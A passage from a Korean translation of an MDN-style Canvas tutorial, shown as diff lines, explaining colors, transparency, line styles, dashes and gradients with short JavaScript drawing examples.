+<p>여기서의 <code>color</code>는 CSS의 {{cssxref("&lt;color&gt;")}}, 그라디언트 객체, 패턴 객체를 뜻합니다. 그라디언트 객체와 패턴 객체는 페이지 아래에서 설명합니다. 윤곽선과 채움 색의 초기 설정값은 검은색입니다. (CSS 색상 값 <code>#000000</code>)</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>strokeStyle</code> 또는 <code>fillStyle</code> 속성을 설정하면, 새로 설정된 값이 앞으로 그려질 도형의 기본 값이 됩니다. 각 도형에 다른 색을 적용하려면 <code>fillStyle</code> 또는 <code>strokeStyle</code> 속성을 다시 적용해야 합니다.</p>
+</div>
+
+<p>색의 올바른 값은 CSS3 사양에 나오는 {{cssxref("&lt;color&gt;")}} 값입니다. 아래에 나오는 색은 모두 한가지 색을 다르게 표현한 것입니다.</p>
+
+<pre class="brush: js">// fillStyle에 적용되는 색은 모두 '오렌지'
+
+ctx.fillStyle = "orange";
+ctx.fillStyle = "#FFA500";
+ctx.fillStyle = "rgb(255, 165, 0)";
+ctx.fillStyle = "rgba(255, 165, 0, 1)";
+</pre>
+
+<h3 id="A_fillStyle_example" name="A_fillStyle_example"><code>fillStyle</code> 예제</h3>
+
+<p>이 예제에서 <code>for</code> 반복문을 두 번 사용하여 사각형 격자를 그릴 것입니다. 결과는 스크린샷과 같을 것입니다. 결과가 그리 대단한 것은 아닙니다. 각 사각형의 RGB 색상값에서 붉은색과 녹색 값만을 변수 <code>i</code>와 <code>j</code>를 사용하여 변경합니다. 파란색 채널은 고정된 값입니다. 채널 값들을 변경함으로써, 모든 종류의 팔레트를 생성할 수 있습니다. 단계를 늘리면 Photoshop에서 사용하는 색상 팔레트와 비슷한 모양을 얻을 수 있습니다.</p>
+
+<pre class="brush: js;highlight[5,6]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 6; i++){
+    for (var j = 0; j &lt; 6; j++){
+      ctx.fillStyle = 'rgb(' + Math.floor(255 - 42.5 * i) + ', ' +
+                       Math.floor(255 - 42.5 * j) + ', 0)';
+      ctx.fillRect(j*25,i*25,25,25);
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>결과는 아래와 같습니다.</p>
+
+<p>{{EmbedLiveSample("A_fillStyle_example", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}</p>
+
+<h3 id="A_strokeStyle_example" name="A_strokeStyle_example"><code>strokeStyle</code> 예제</h3>
+
+<p>이번 예제는 위에 나온 예제와 비슷하지만, <code>strokeStyle</code> 속성을 사용하여 윤곽선의 색을 바꿉니다. 사각형 대신, 원을 그리는 <code>arc()</code> 메소드를 사용합니다.</p>
+
+<pre class="brush: js;highlight[5,6]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 6; i++) {
+    for (var j = 0; j &lt; 6; j++) {
+      ctx.strokeStyle = 'rgb(0, ' + Math.floor(255 - 42.5 * i) + ', ' +
+                       Math.floor(255 - 42.5 * j) + ')';
+      ctx.beginPath();
+      ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true);
+      ctx.stroke();
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>결과는 아래와 같습니다.</p>
+
+<p>{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}</p>
+
+<h2 id="Transparency" name="Transparency">투명도</h2>
+
+<p>캔버스에는 불투명한 도형을 그릴 수도 있고, 반투명한 도형도 그릴 수도 있습니다. <code>globalAlpha</code> 값을 설정하거나 윤곽선 또는 채움 스타일에 반투명 색을 적용하면 됩니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha = transparencyValue")}}</dt>
+ <dd>투명도 값이 설정되면 이후 캔버스에 그려지는 모든 도형들의 투명도가 바뀝니다. 설정하는 값은 0.0(완전히 투명)과 1.0(완전히 불투명) 사이에 있어야 하며, 초기 설정값은 1.0(완전히 투명)입니다.</dd>
+</dl>
+
+<p><code>globalAlpha</code>는 모두 같은 투명도로 캔버스에 많은 도형을 그릴 때 유용합니다. 하지만, 보통은 각각의 도형마다 투명도를 설정하는 것이 더 유용할 것입니다.</p>
+
+<p><code>strokeStyle</code>과 <code>fillStyle</code> 값에 CSS rgba 색상값을 적용할 수 있으므로, 투명한 색을 적용하려면 아래와 같은 표기법을 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// 외곽선과 채움 스타일에 투명 적용
+
+ctx.strokeStyle = 'rgba(255, 0, 0, 0.5)';
+ctx.fillStyle = 'rgba(255, 0, 0, 0.5)';
+</pre>
+
+<p><code>rgba()</code> 함수는 <code>rgb()</code> 함수와 비슷하지만, 인자가 하나 더 있습니다. 마지막 인자는 투명도 값을 설정하는 인자입니다. 올바른 범위는 0.0(완전히 투명)에서 1.0(완전히 불투명)입니다.</p>
+
+<h3 id="A_globalAlpha_example" name="A_globalAlpha_example"><code>globalAlpha</code> 예제</h3>
+
+<p>이 예제에서, 네 가지 다른 색을 가진 사각형을 배경에 그릴 것입니다. 그 위에, 반투명한 원을 여러 개 그릴 것입니다. <code>globalAlpha</code> 값을 <code>0.2</code>로 설정하면 이후 그려질 도형은 이 값을 사용합니다. <code>for</code> 반복문을 사용하여 점점 큰 반지름의 원을 그립니다. 최종 결과물은 원형 그레이디언트가 됩니다. 원이 겹쳐지면서 점점 불투명해지는 것을 볼 수 있으며, 최종적으로 한 가운데에 있는 원에서는 뒷 배경이 거의 보이지 않게 됩니다.</p>
+
+<pre class="brush: js;highlight[15]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  // 배경을 그린다
+  ctx.fillStyle = '#FD0';
+  ctx.fillRect(0, 0, 75, 75);
+  ctx.fillStyle = '#6C0';
+  ctx.fillRect(75, 0, 75, 75);
+  ctx.fillStyle = '#09F';
+  ctx.fillRect(0, 75, 75, 75);
+  ctx.fillStyle = '#F30';
+  ctx.fillRect(75, 75, 75, 75);
+  ctx.fillStyle = '#FFF';
+
+  // 투명값을 설정한다
+  ctx.globalAlpha = 0.2;
+
+  // 반투명한 원을 그린다
+  for (var i = 0; i &lt; 7; i++){
+    ctx.beginPath();
+    ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
+    ctx.fill();
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_globalAlpha_example", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p>
+
+<h3 id="An_example_using_rgba()" name="An_example_using_rgba()"><code>rgba()</code>를 사용한 예제</h3>
+
+<p>두번째 예제에서는 위의 예제와 비슷한 일을 하지만, 겹쳐진 원을 그리는 대신, 불투명도가 증가하는 작은 사각형을 그릴 것입니다. 각각의 도형마다 윤곽선이나 채움 스타일을 따로따로 설정할 수 있기 때문에, <code>rgba()</code>를 사용할 때는 조금 더 제어가 쉽고 융통성도 있습니다.</p>
+
+<pre class="brush: js;highlight[16]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 배경을 그린다
+  ctx.fillStyle = 'rgb(255,221,0)';
+  ctx.fillRect(0,0,150,37.5);
+  ctx.fillStyle = 'rgb(102,204,0)';
+  ctx.fillRect(0,37.5,150,37.5);
+  ctx.fillStyle = 'rgb(0,153,255)';
+  ctx.fillRect(0,75,150,37.5);
+  ctx.fillStyle = 'rgb(255,51,0)';
+  ctx.fillRect(0,112.5,150,37.5);
+
+  // 반투명한 사각형을 그린다
+  for (var i=0;i&lt;10;i++){
+    ctx.fillStyle = 'rgba(255,255,255,'+(i+1)/10+')';
+    for (var j=0;j&lt;4;j++){
+      ctx.fillRect(5+i*14,5+j*37.5,14,27.5)
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("An_example_using_rgba()", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}</p>
+
+<h2 id="Line_styles" name="Line_styles">선 모양</h2>
+
+<p>선의 스타일을 바꾸는 방법이 몇가지 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth = value")}}</dt>
+ <dd>이후 그려질 선의 두께를 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap", "lineCap = type")}}</dt>
+ <dd>선의 끝 모양을 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin = type")}}</dt>
+ <dd>선들이 만나는 "모서리"의 모양을 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}</dt>
+ <dd>두 선이 예각으로 만날 때 접합점의 두께를 제어할 수 있도록, 연결부위의 크기를 제한하는 값을 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}</dt>
+ <dd>음수가 아닌 짝수를 포함하는 현재 선의 대시 패턴 배열을 반환합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}</dt>
+ <dd>현재 선의 대시 패턴을 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}</dt>
+ <dd>선의 대시 배열이 어디서 시작될지 지정합니다.</dd>
+</dl>
+
+<p>아래 예제들을 보면 어떻게 동작하는지 이해할 수 있을 것입니다.</p>
+
+<h3 id="A_lineWidth_example" name="A_lineWidth_example"><code>lineWidth</code> 예제</h3>
+
+<p>현재 선의 두께를 설정합니다. 설정값은 반드시 양수이어야 하며, 초기 설정값은 1.0 단위입니다.</p>
+
+<p>선의 두께는 지정된 경로의 가운데에 있는 획의 두께입니다. 이 말의 뜻은, 경로의 좌우로, 설정된 두께 반 만큼의 폭 영역이 그려진다는 것입니다. 캔버스 좌표는 픽셀을 직접 참조하지 않으므로, 선명한 수평 및 수직선을 얻기 위해 특별히 주의를 기울여야 합니다.</p>
+
+<p>아래에 나오는 예제에서는, 선의 두께가 점점 증가하는 10개의 직선이 그려집니다. 가장 왼쪽의 선은 1.0 단위 폭입니다. 그러나, 경로의 위치 때문에 가장 왼쪽과 다른 모든 홀수 폭 두께 선은 선명하게 보이지 않습니다.</p>
+
+<pre class="brush: js;highlight[4]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 10; i++){
+    ctx.lineWidth = 1 + i;
+    ctx.beginPath();
+    ctx.moveTo(5 + i * 14, 5);
+    ctx.lineTo(5 + i * 14, 140);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineWidth_example", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p>
+
+<p>선명한 선을 얻으려면 경로에 획을 어떻게 그려지는지 이해해야 합니다. 아래의 이미지를 보면, 격자는 캔버스의 좌표 격자를 나타냅니다. 격자선 사이에 있는 사각형은 실제 픽셀과 딱 맞아 떨어집니다. 아래에 있는 첫번째 이미지를 보면, (2,1)에서 (5,5)로 사각형이 채워져 있습니다. 사각형의 전체 영역(연한 붉은 색)은 픽셀 경계선 사이에 딱 맞아 떨어지기 때문에 채워진 사각형은 선명한 가장자리를 갖습니다.</p>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/201/Canvas-grid.png"></p>
+
+<p>만일 (3,1)에서 (3,5)로 그리는 직선의 두께가 1.0이라면, 두번째 이미지와 같은 상황이 됩니다. 채워진 실제 영역 (진한 파란색)은 패스의 양쪽에있는 픽셀의 절반까지만 확장됩니다. 이것은 1 픽셀을 채우는 것이 아니므로 근사값으로 화면에 그려지게 됩니다. 그래서 양옆의 영역(연한 파란색과 짙은 파란 색)으로, 실제 설정한 색과는 다른 흐릿한 색으로 채워지는 것입니다. 이전 예제에서 보듯이 선 두께가 <code>1.0</code>인 선에서 일어난 일입니다.</p>
+
+<p>이렇게 되는 것을 막으려면, 경로를 아주 정밀하게 생성해야 합니다. 선의 두께가 1.0이면 경로의 양쪽으로 0.5 단위만큼이라는 것을 알고 있으니, (3.5,1)에서 (3.5,5)로 그리는 경로를 생성하는 세번째 이미지의 결과는 완벽히 정밀하게 1 픽셀 두께의 수직선이 됩니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 위에 나온 수직선 그리기 예제를 살펴보면, Y 위치는 정수로 된 격자선 위치를 참조하고 있습니다. 그렇지 않았다면, 끝점에서 픽셀의 반을 차지한 상태로 보였을 것입니다. (초기값이 <code>butt</code>인 <code>lineCap</code> 스타일의 설정값에 따라 다르게 보입니다. 홀수 두께 선들의 좌표를 0.5 픽셀씩 조정하여 다시 계산하고 싶을지도 모릅니다. <code>lineCap</code> 스타일을 <code>square</code>로 설정함으로써, 끝점에서 선의 외곽 경계선은 픽셀에 딱 맞게 자동적으로 확장될 것입니다.)</p>
+
+<p>경로의 시작 지점과 종료 지점의 끝점만이 영향을 받는다는 것에 주목하세요. 만약 <code>closePath()</code>로 경로가 닫힌다면, 시작 지점과 종료 지점은 없는 것입니다. 그 대신, 경로 안에 있는 모든 끝점들은, 초기 설정값이 <code>miter</code>인 <code>lineJoin</code> 스타일의 설정값을 사용하여 이전 부분 및 다음 부분과 이어지는데, 교차되는 점들로 이어진 부분들의 외곽 경계선을 자동적으로 확장하는 효과가 생깁니다. 그렇기 때문에 만약 이들 이어진 부분들이 수직 또는 수평이라면, 그려지는 선들은 각 끝점의 중심에 놓인 픽셀을 가득 채우게 될 것입니다. 이들 선 스타일에 대한 예제는 아래에 나옵니다.</p>
+</div>
+
+<p>짝수 두께의 선들은 반으로 나누어도 각각의 반은 정수의 양만큼이기 때문에 픽셀을 조정할 필요가 없습니다.</p>
+
+<p>비트맵이 아닌 벡터 2D 그래픽으로 작업할 때, 작업을 시작할 때는 약간 힘들겠지만, 격자와 경로의 위치에 주의를 기울인다면, 크기를 키우거나 줄이거나 또는 어떠한 변형을 하더라도 그리려는 이미지는 똑바로 보일 것입니다. 1.0 두께의 수직선은 2배로 크기를 키웠을 때, 정확히 2 픽셀 두께의 선이 되며, 올바른 위치에 나타날 것입니다.</p>
+
+<h3 id="A_lineCap_example" name="A_lineCap_example"><code>lineCap</code> 예제</h3>
+
+<p><code>lineCap</code> 속성은 그리려는 모든 선의 끝점 모양을 결정합니다. <code>butt</code>, <code>round</code>, <code>square</code>라는 세 가지 값을 가지며, 초기 설정값은 <code>butt</code>입니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/236/Canvas_linecap.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>butt</code></dt>
+ <dd>선의 끝이 좌표에 딱맞게 잘립니다.</dd>
+ <dt><code>round</code></dt>
+ <dd>선의 끝이 동그랗습니다.</dd>
+ <dt><code>square</code></dt>
+ <dd>선 끝에, 선 두께 반만큼의 사각형 영역이 더해집니다.</dd>
+</dl>
+
+<p>이 예제에서는, 각기 다른 <code>lineCap</code> 속성 값을 가진 선 세개가 그려집니다. 또한 각 선들의 차이점을 정확히 보이기 위한 안내선이 추가로 그려집니다. 세개의 선 모두, 이 안내선 위에 시작과 종료 좌표가 있습니다.</p>
+
+<p>맨 왼쪽에 있는 선은 초기 설정값인 <code>butt</code>을 사용합니다. 안내선에 딱 맞게 선이 시작되고 끝이 납니다. 가운데에 있는 선은 <code>round</code>를 사용합니다. 선 두께의 반을 반지름으로 하는 반원이 끝에 붙습니다. 맨 오른쪽에 있는 선은 <code>square</code>를 사용합니다. 선 두께 만큼의 너비와 선 두께 반 만큼의 높이를 가진 네모 상자가 끝에 붙습니다.</p>
+
+<pre class="brush: js;highlight[18]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineCap = ['butt','round','square'];
+
+  // 안내선을 그린다
+  ctx.strokeStyle = '#09f';
+  ctx.beginPath();
+  ctx.moveTo(10, 10);
+  ctx.lineTo(140, 10);
+  ctx.moveTo(10, 140);
+  ctx.lineTo(140, 140);
+  ctx.stroke();
+
+  // 선을 그린다
+  ctx.strokeStyle = 'black';
+  for (var i=0;i&lt;lineCap.length;i++){
+    ctx.lineWidth = 15;
+    ctx.lineCap = lineCap[i];
+    ctx.beginPath();
+    ctx.moveTo(25 + i * 50, 10);
+    ctx.lineTo(25 + i * 50,140);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineCap_example", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p>
+
+<h3 id="A_lineJoin_example" name="A_lineJoin_example"><code>lineJoin</code> 예제</h3>
+
+<p><code>lineJoin</code> 속성은, 도형을 이루는 선이나 호나 곡선들이 연결되는 지점의 모양을 결정합니다. 끝점과 제어점이 정확히 같은 위치인, 길이가 0인 부분들은 제외된다.</p>
+
+<p>이 속성에는 세 가지 값이 있는데, <code>round</code>, <code>bevel</code>, <code>miter</code>이며, 초기 설정값은 <code>miter</code>입니다. 두 부분들이 같은 방향으로 연결되어 있는 경우에는, <code>lineJoin</code>을 설정해도 아무런 효과가 나타나지 않습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/237/Canvas_linejoin.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>round</code></dt>
+ <dd>도형의 모서리를, 연결되는 부분들의 공통 끝점을 중심으로 하는 원 모양으로 만듭니다. 이때 원의 반지름은 선의 두께와 같습니다.</dd>
+ <dt><code>bevel</code></dt>
+ <dd>도형의 모서리를, 연결되는 부분들의 공통 끝점에서 세모 모양으로 만듭니다.</dd>
+ <dt><code>miter</code></dt>
+ <dd>도형의 모서리를, 두 부분의 바깥쪽 테두리 선을 각각 연장하여 교차된 점으로 생긴 마름모꼴 모양으로 만듭니다. <code>miterLimit</code> 속성값에 따라 모양이 달라집니다.</dd>
+</dl>
+
+<p>아래 예제에서 세 개의 경로를 그릴 것입니다. 세 경로는 각각 다른 <code>lineJoin</code> 속성값을 가집니다.</p>
+
+<pre class="brush: js;highlight[6]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineJoin = ['round', 'bevel', 'miter'];
+  ctx.lineWidth = 10;
+  for (var i=0;i&lt;lineJoin.length;i++){
+    ctx.lineJoin = lineJoin[i];
+    ctx.beginPath();
+    ctx.moveTo(-5, 5 + i * 40);
+    ctx.lineTo(35, 45 + i * 40);
+    ctx.lineTo(75, 5 + i * 40);
+    ctx.lineTo(115, 45 + i * 40);
+    ctx.lineTo(155, 5 + i * 40);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineJoin_example", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p>
+
+<h3 id="A_demo_of_the_miterLimit_property" name="A_demo_of_the_miterLimit_property"><code>miterLimit</code> 속성 예제</h3>
+
+<p>위의 예제에서 볼 수 있듯이, 속성값을 <code>miter</code>로 하여 두 선이 연결되면, 연결되는 두 선의 바깥쪽 테두리는 연장선이 만나는 지점까지 확장됩니다. 연결된 두 선이 이루는 각도가 크면, 확장되는 영역이 크지 않지만, 각도가 작아짐(끝이 뾰족해짐)에 따라서 이 영역이 기하급수적으로 커질 수도 있습니다.</p>
+
+<p><code>miterLimit</code> 속성은 끝점이 만나는 지점과 테두리 연장선이 만나는 지점이 얼마나 떨어져 있을지를 결정합니다. 두 선이 이 값을 넘게 되면, <code>lineJoin</code> 속성의 <code>bevel</code> 값 모양이 적용됩니다. <code>miterLimit</code> 속성값(HTML {{HTMLElement("canvas")}}에서, 초기 설정값은 10.0)에 의해, 현재 좌표 방식 안에서, 선의 두께에 따라, 어느 정도까지 뾰족해질 수 있는지가 계산됩니다. 그래서 <code>miterLimit</code>은 현재 디스플레이 비율이나 경로의 변형 같은 것으로 각각 설정될 수 있습니다. 그렇게 하여 선의 모서리에만 영향을 줍니다.</p>
+
+<p>더 자세히 얘기하자면, 뾰족함 제한(miter limit)은, 선 두께의 반과 확장되는 길이(HTML 캔버스에서, 선이 연결되는 바깥쪽 끝부분과, 경로에서 연결되는 두 부분의 공통 끝점 사이로 측정합니다.)의 최대 허용 비율입니다. 이것은 두 부분의 외곽선이 만나는 안쪽 점과 바깥쪽 점 사이 거리와, 선 두께의 최대 허용 비율과 같습니다. miter 값 모양이 아닌 bevel 값 모양으로 연결되는 지점의 최소 안쪽 각 반 만큼의 값과 같은 것입니다.</p>
+
+<ul>
+ <li><code>miterLimit</code> = <strong>max</strong> <code>miterLength</code> / <code>lineWidth</code> = 1 / <strong>sin</strong> ( <strong>min</strong> <em>θ</em> / 2 )</li>
+ <li>초기 설정값이 10.0인 뾰족함 제한(miter limit)값은 약 11도보다 낮은 예각인 곳을 bevel 값 모양으로 만듭니다.</li>
+ <li>뾰족함 제한 값이 √2 ≈ 1.4142136(반올림)과 같다면 연결되는 곳이 둔각이거나 직각인 곳을 제외한 모든 곳을 bevel 값 모양으로 만듭니다.</li>
+ <li>뾰족함 제한 값이 1.0과 같다면 모든 곳을 bevel 값 모양으로 만듭니다.</li>
+ <li>뾰족함 제한 값에는 1.0보다 작은 값이 올 수 없습니다.</li>
+</ul>
+
+<p>다음 예제에서는 <code>miterLimit</code> 값을 바꾸고 그 결과가 어떤지 바로 확인할 수 있습니다. 파란색 선은 지그재그 무늬 안에서 선들의 시작 지점과 종료 지점을 나타냅니다.</p>
+
+<p>이 예제에서 <code>miterLimit</code> 값을 4.2보다 낮게 설정하면, 모든 연결 지점은 bevel 값 모양이 되어 파란색 선에 붙을 것입니다. <code>miterLimit</code> 값이 10보다 높다면, 거의 모든 연결 지점들이 파란색 선 바깥쪽에 있을 것입니다. 왼쪽으로 갈수록 파란색 선에서 더 많이 튀어나오는데, 왼쪽으로 갈수록 연결되는 각이 더 작아지기 때문입니다. 값을 5로 설정하면, 반은 bevel 값 모양으로, 반은 miter 값 모양이 됩니다.</p>
+
+<pre class="brush: js;highlight[18]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 캔버스를 비운다
+  ctx.clearRect(0,0,150,150);
+
+  // 안내선을 그린다
+  ctx.strokeStyle = '#09f';
+  ctx.lineWidth   = 2;
+  ctx.strokeRect(-5,50,160,50);
+
+  // 선 스타일을 설정한다
+  ctx.strokeStyle = '#000';
+  ctx.lineWidth = 10;
+
+  // 입력 값을 검사한다
+  if (document.getElementById('miterLimit').value.match(/\d+(\.\d+)?/)) {
+    ctx.miterLimit = parseFloat(document.getElementById('miterLimit').value);
+  } else {
+    alert('Value must be a positive number');
+  }
+
+  // 선을 그린다
+  ctx.beginPath();
+  ctx.moveTo(0,100);
+  for (i=0;i&lt;24;i++){
+    var dy = i%2==0 ? 25 : -25 ;
+    ctx.lineTo(Math.pow(i,1.5)*2,75+dy);
+  }
+  ctx.stroke();
+  return false;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;&lt;/td&gt;
+    &lt;td&gt;Change the &lt;code&gt;miterLimit&lt;/code&gt; by entering a new value below and clicking the redraw button.&lt;br&gt;&lt;br&gt;
+      &lt;form onsubmit="return draw();"&gt;
+        &lt;label&gt;Miter limit&lt;/label&gt;
+        &lt;input type="text" size="3" id="miterLimit"/&gt;
+        &lt;input type="submit" value="Redraw"/&gt;
+      &lt;/form&gt;
+    &lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<pre class="brush: js">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit;
+draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_demo_of_the_miterLimit_property", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png")}}</p>
+
+<p> </p>
+
+<h3 id="대시라인_사용하기">대시라인 사용하기</h3>
+
+<p><code>setLineDash</code> 메소드와 <code>lineDashOffset</code> 속성은 선의 대시 패턴을 지정합니다.  <code>setLineDash</code> 메소드는 거리를 지정하는 숫자 목록을 받아 선과 틈을 교대로 그리며 <code>lineDashOffset</code> 속성은 패턴을 시작할 위치를 오프셋으로 설정합니다.</p>
+
+<p>이 예제에서 우리는 행진하는 개미 효과를 만들고 있습니다. 컴퓨터 그래픽 프로그램의 선택 도구에서 흔히 볼 수있는 애니메이션 기술입니다. 테두리를 애니메이션화하여 사용자가 선택 테두리와 이미지 배경을 구별하는 데 도움이됩니다. 이 튜토리얼의 뒷부분에서 이 작업 및 다른 <a href="/ko/docs/docs/Web/API/Canvas_API/Tutorial/Basic_animations">기본 애니메이션</a>을 수행하는 방법을 배울 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="110" height="110"&gt;&lt;/canvas&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[6]">var ctx = document.getElementById('canvas').getContext('2d');
+var offset = 0;
+
+function draw() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  ctx.setLineDash([4, 2]);
+  ctx.lineDashOffset = -offset;
+  ctx.strokeRect(10, 10, 100, 100);
+}
+
+function march() {
+  offset++;
+  if (offset &gt; 16) {
+    offset = 0;
+  }
+  draw();
+  setTimeout(march, 20);
+}
+
+march();</pre>
+
+<p>{{EmbedLiveSample("Using_line_dashes", "120", "120", "https://mdn.mozillademos.org/files/9853/marching-ants.png")}}</p>
+
+<h2 id="Gradients" name="Gradients">그라디언트(Gradient)</h2>
+
+<p>다른 그래픽 프로그램들과 마찬가지로, 선형 및 원형의 그레이디언트를 사용할 수 있습니다. 다음 메소드 중 하나를 사용하여 {{domxref("CanvasGradient")}} 객체를 생성합니다. 그런 다음 이 객체를 <code>fillStyle</code> 또는 <code>strokeStyle</code> 속성에 할당 할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient", "createLinearGradient(x1, y1, x2, y2)")}}</dt>
+ <dd>시작점 좌표를 (<code>x1</code>, <code>y1</code>)로 하고, 종료점 좌표를 (<code>x2</code>, <code>y2</code>)로 하는 선형 그라디언트 오브젝트를 생성합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient", "createRadialGradient(x1, y1, r1, x2, y2, r2)")}}</dt>
+ <dd>반지름이 <code>r1</code>이고 좌표 (<code>x1</code>, <code>y1</code>)을 중심으로 하는 원과, 반지름이 <code>r2</code>이고 좌표 (<code>x2</code>, <code>y2</code>)를 중심으로 하는 원을 사용하여 그라디언트가 생성됩니다.</dd>
+</dl>
+
+<p>예를 들면 다음과 같습니다.</p>
+
+<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);
+</pre>
+
+<p><code>CanvasGradient</code> 객체를 만들었다면, <code>addColorStop()</code> 메소드를 사용하여, 오브젝트에 색을 적용할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasGradient.addColorStop", "gradient.addColorStop(position, color)")}}</dt>
+ <dd><code>gradient</code> 오브젝트에 새로운 색 중단점(color stop)을 생성합니다. <code>position</code>은 0.0에서 1.0 사이의 숫자이고 그라디언트에서 색상의 상대적인 위치를 정의합니다. <code>color</code> 인자는 CSS {{cssxref("&lt;color&gt;")}}를 나타내는 문자열이어야하고, 그라디언트가 (전환효과로) 진행되면서 도달한 지점의 색상을 의미합니다.</dd>
+</dl>
+
+<p>색 중단점은 원하는 만큼 마음대로 추가할 수 있습니다. 흰 색에서 검은 색으로 변하는 선형 그레이디언트를 만들려면 아래와 같이 합니다.</p>
+
+<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+lineargradient.addColorStop(0, 'white');
+lineargradient.addColorStop(1, 'black');
+</pre>
+
+<h3 id="A_createLinearGradient_example" name="A_createLinearGradient_example"><code>createLinearGradient</code> 예제</h3>
+
+<p>이 예제에서 그레이디언트 두 개를 만들 것입니다. 예제에서 볼 수 있듯이, <code>strokeStyle</code>과 <code>fillStyle</code> 속성 모두 <code>canvasGradient</code> 오브젝트를 속성 값으로 가질 수 있습니다.</p>
+
+<pre class="brush: js;highlight[5,11]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 그레이디언트를 생성한다
+  var lingrad = ctx.createLinearGradient(0, 0, 0, 150);
+  lingrad.addColorStop(0, '#00ABEB');
+  lingrad.addColorStop(0.5, '#fff');
+  lingrad.addColorStop(0.5, '#26C000');
+  lingrad.addColorStop(1, '#fff');
+
